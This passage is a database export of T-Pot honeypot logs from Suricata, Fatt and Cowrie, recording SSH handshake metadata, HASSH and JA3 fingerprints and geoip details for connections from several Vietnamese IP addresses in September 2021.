"flow_id": 2036744014884467, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36046, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.978430Z", "@timestamp": "2021-09-20T11:07:45.978Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23683	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:46.35585+03	2021-09-20 14:15:07.82147+03	{"_id": "4QbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1038185593427301, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36584, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.355850Z", "@timestamp": "2021-09-20T11:07:46.355Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23684	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:46.096731+03	2021-09-20 14:15:07.82247+03	{"_id": "5QbjAnwBvYTbRNuE-A7d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32932, "timestamp": "2021-09-20T11:07:46.096731", "@timestamp": "2021-09-20T11:07:46.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23685	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:46.375977+03	2021-09-20 14:15:07.823471+03	{"_id": "5AbjAnwBvYTbRNuE-A7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36584, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.375977", "@timestamp": "2021-09-20T11:07:46.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23686	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:46.045964+03	2021-09-20 14:15:07.82547+03	{"_id": "7QbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52124, "timestamp": "2021-09-20T11:07:46.045964", "@timestamp": "2021-09-20T11:07:46.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23687	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:46.346787+03	2021-09-20 14:15:07.826471+03	{"_id": "7gbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52124, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.346787", "@timestamp": "2021-09-20T11:07:46.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23688	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:46.758764+03	2021-09-20 14:15:07.827472+03	{"_id": "7wbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34808, "dest_port": 443, "timestamp": "2021-09-20T11:07:46.758764", "@timestamp": "2021-09-20T11:07:46.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23689	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.327201+03	2021-09-20 14:15:07.828471+03	{"_id": "8AbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "31d9f752e078", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:46.327201Z", "@timestamp": "2021-09-20T11:07:46.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23690	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:46.376606+03	2021-09-20 14:15:07.82947+03	{"_id": "8QbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1b1c60619027", "@version": "1", "timestamp": "2021-09-20T11:07:46.376606Z", "@timestamp": "2021-09-20T11:07:46.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23691	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.387055+03	2021-09-20 14:15:07.831471+03	{"_id": "8gbjAnwBvYTbRNuE-Q5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0c4cc4448a62", "@version": "1", "timestamp": "2021-09-20T11:07:46.387055Z", "@timestamp": "2021-09-20T11:07:46.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-9